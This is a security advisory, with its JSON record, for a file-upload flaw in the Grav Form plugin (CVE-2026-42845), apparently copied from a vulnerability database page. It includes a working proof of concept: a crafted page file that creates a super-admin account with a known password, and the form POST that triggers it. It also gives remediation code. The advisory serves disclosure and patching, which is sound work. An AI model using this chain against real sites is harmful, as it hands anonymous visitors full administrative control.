GHSA-W4RC-P66M-X6QQ

Vulnerability from github – Published: 2026-05-06 23:03 – Updated: 2026-05-13 14:04
VLAI?
Summary
Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override
Details

Summary

(Tested on Form 9.0.3 released on April, 28th)

The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.

A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:

  1. Upload arbitrary content with filename=form.md (or other page-content filenames),
  2. Submit the form to trigger Form::copyFiles(), which overwrites the page's own .md file.

Details

Vulnerable code path

user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):

$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));

$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name'];           // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) {                              // ← extension blocklist only
    return ['status' => 'error', 'message' => 'Bad filename'];
}

Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.

The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.

After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):

$destination = $upload->getDestination();   // ← determined at upload time:
                                            //   $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);

moveTo() does not check whether $destination is an existing protected file — if form.md (the page's own content) already exists at the destination, it is overwritten.

A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.

PoC

Setup :

Any existing page with a form like this — a "generic upload" form is the realistic case:

---
title: Upload your file
form:
    name: upform
    fields:
        - {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
        - {name: notes, type: text}
    buttons:
        - {type: submit, value: Upload}
    process:
        - upload: true
        - display: thanks
---
  1. Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path /upload.
---
title: Pwned
form:
    name: pwn
    fields:
        - {name: dummy, type: text}
    buttons:
        - {type: submit, value: Submit}
    process:
        - save:
            folder: '../accounts'
            filename: 'viaup.yaml'
            extension: yaml
            operation: create
            body: |
                state: enabled
                email: viaup@example.com
                fullname: Via Upload
                title: Admin
                access:
                  admin: { login: true, super: true }
                  site:  { login: true }
                hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
        - display: thanks
---

(Hash above is bcrypt for PwnPass123!.)

  1. Attacker accesses the new markdown file under the original path and loads the new markdown file GET /upload.
  2. Attacker sends a form POST request to /upload and change the form_name to whatever the payload form name is. Keep in mind the nonce has to be valid.
POST /upload HTTP/1.1

------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[_json][img]"

[]
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[notes]"


------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__form-name__"

pwn
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__unique_form_id__"

8r7q1iwdnnmcgkohlbtj
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="form-nonce"

4e9417f0c7e89d1ab4e0dbe136ec78bd
------geckoformboundary44d7ad8deb57480098493877a35ad715--
  1. Login as a newly created super admin user.

Impact

Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default self@ configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin.

Remediation

Block sensitive page-content filenames at upload

In user/plugins/form/classes/Form.php, after Utils::checkFilename() succeeds, add a content-area-aware check:

// Block files that would overwrite Grav page content if uploaded into
// a page directory. Page templates are .md (Markdown) and .yaml/.yml
// (frontmatter overrides). Block both for safety.
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];
if (in_array($ext, $pageContentExtensions, true)) {
    return [
        'status'  => 'error',
        'message' => 'File type not allowed for upload (page content files are blocked)',
    ];
}

Add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list — these all carry executable semantics in Grav's runtime even though they are not "PHP".

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav-plugin-form"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:03:13Z",
    "nvd_published_at": "2026-05-11T17:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n(Tested on Form 9.0.3 released on April, 28th)\n\nThe Form plugin\u0027s file upload handler at `user/plugins/form/classes/Form.php:583` accepts a POST-supplied `filename` parameter (`$filename = $post[\u0027filename\u0027] ?? $upload[\u0027file\u0027][\u0027name\u0027]`) that overrides the original uploaded filename. The override passes through `Utils::checkFilename()`, which blocks only a narrow extension list (`.php*`, `.htm*`, `.js`, `.exe`). Markdown (`.md`) is **not** blocked.\n\nA page\u0027s directory under `user/pages/` contains its `.md` content file (e.g. `default.md`, `form.md`). When a form\u0027s file upload field has `accept: [\u0027*\u0027]` (or any policy that admits text files), an unauthenticated visitor can:\n\n1. Upload **arbitrary content** with **`filename=form.md`** (or other page-content filenames),\n2. Submit the form to trigger `Form::copyFiles()`, which **overwrites the page\u0027s own `.md` file**.\n\n### Details\n**Vulnerable code path**\n\n`user/plugins/form/classes/Form.php:580-606` (in `uploadFiles()`):\n```php\n$grav-\u003efireEvent(\u0027onFormUploadSettings\u0027, new Event([\u0027settings\u0027 =\u003e \u0026$settings, \u0027post\u0027 =\u003e $post]));\n\n$upload = json_decode(json_encode($this-\u003enormalizeFiles($_FILES[\u0027data\u0027], $settings-\u003ename)), true);\n$filename = $post[\u0027filename\u0027] ?? $upload[\u0027file\u0027][\u0027name\u0027];           // \u2190 POST-controlled\n// ...\nif (!Utils::checkFilename($filename)) {                              // \u2190 extension blocklist only\n    return [\u0027status\u0027 =\u003e \u0027error\u0027, \u0027message\u0027 =\u003e \u0027Bad filename\u0027];\n}\n```\n\n`Utils::checkFilename()` (`system/src/Grav/Common/Utils.php:980`) blocks `..`, slashes, null bytes, leading/trailing dots, and the `uploads_dangerous_extensions` list. The default list contains: `php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe`. **`md` is not on the list**.\n\nThe MIME check (lines 627-654) uses `Utils::getMimeByFilename($filename)` against the blueprint\u0027s `accept` list. With `accept: [\u0027*\u0027]`, all filenames pass.\n\nAfter upload, the file is held in flash storage. When the form is submitted, `Form::copyFiles()` (`user/plugins/form/classes/Form.php:1041-1074`) calls `$upload-\u003emoveTo($destination)`:\n```php\n$destination = $upload-\u003egetDestination();   // \u2190 determined at upload time:\n                                            //   $destination = $page_dir . \u0027/\u0027 . $filename\n$folder = $filesystem-\u003edirname($destination);\nif (!is_dir($folder) \u0026\u0026 !@mkdir($folder, 0777, true) \u0026\u0026 !is_dir($folder)) { ... }\n$upload-\u003emoveTo($destination);\n```\n\n`moveTo()` does not check whether `$destination` is an existing protected file \u2014 if `form.md` (the page\u0027s own content) already exists at the destination, it is **overwritten**.\n\nA Grav page\u0027s `.md` file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.\n\n### PoC\n\n**Setup** :\n\nAny existing page with a form like this \u2014 a \"generic upload\" form is the realistic case:\n```yaml\n---\ntitle: Upload your file\nform:\n    name: upform\n    fields:\n        - {name: img, type: file, multiple: false, accept: [\u0027*\u0027], destination: \u0027self@\u0027}\n        - {name: notes, type: text}\n    buttons:\n        - {type: submit, value: Upload}\n    process:\n        - upload: true\n        - display: thanks\n---\n```\n1. Atacker uploads a malicious md file that replaces the form\u0027s md file. Lets say the form is under the path `/upload`.\n\n```yaml\n---\ntitle: Pwned\nform:\n    name: pwn\n    fields:\n        - {name: dummy, type: text}\n    buttons:\n        - {type: submit, value: Submit}\n    process:\n        - save:\n            folder: \u0027../accounts\u0027\n            filename: \u0027viaup.yaml\u0027\n            extension: yaml\n            operation: create\n            body: |\n                state: enabled\n                email: viaup@example.com\n                fullname: Via Upload\n                title: Admin\n                access:\n                  admin: { login: true, super: true }\n                  site:  { login: true }\n                hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq\n        - display: thanks\n---\n```\n(Hash above is bcrypt for `PwnPass123!`.)\n\n2. Attacker accesses the new markdown file under the original path  and loads the new markdown file `GET /upload`.\n3. Attacker sends a form POST request to `/upload` and change the form_name to whatever the payload form name is.\n Keep in mind the nonce has to be valid.\n\n```\nPOST /upload HTTP/1.1\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[_json][img]\"\n\n[]\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[notes]\"\n\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__form-name__\"\n\npwn\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__unique_form_id__\"\n\n8r7q1iwdnnmcgkohlbtj\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"form-nonce\"\n\n4e9417f0c7e89d1ab4e0dbe136ec78bd\n------geckoformboundary44d7ad8deb57480098493877a35ad715--\n```\n\n4. Login as a newly created super admin user.\n\n### Impact\n\nGrav pages that allows user to uploads any file (besides the ones in the blocklist) with the default `self@` configuration  is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin. \n\n### Remediation\n\nBlock sensitive page-content filenames at upload\n\nIn `user/plugins/form/classes/Form.php`, after `Utils::checkFilename()` succeeds, add a content-area-aware check:\n\n```php\n// Block files that would overwrite Grav page content if uploaded into\n// a page directory. Page templates are .md (Markdown) and .yaml/.yml\n// (frontmatter overrides). Block both for safety.\n$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n$pageContentExtensions = [\u0027md\u0027, \u0027yaml\u0027, \u0027yml\u0027, \u0027json\u0027, \u0027twig\u0027];\nif (in_array($ext, $pageContentExtensions, true)) {\n    return [\n        \u0027status\u0027  =\u003e \u0027error\u0027,\n        \u0027message\u0027 =\u003e \u0027File type not allowed for upload (page content files are blocked)\u0027,\n    ];\n}\n```\n\nAdd `md, yaml, yml, json, twig, ini` to the global `security.uploads_dangerous_extensions` list \u2014 these all carry executable semantics in Grav\u0027s runtime even though they are not \"PHP\".",
  "id": "GHSA-w4rc-p66m-x6qq",
  "modified": "2026-05-13T14:04:34Z",
  "published": "2026-05-06T23:03:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-w4rc-p66m-x6qq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42845"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav-plugin-form/commit/48bacc4187e1cff815000e526d5ca2878484867f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…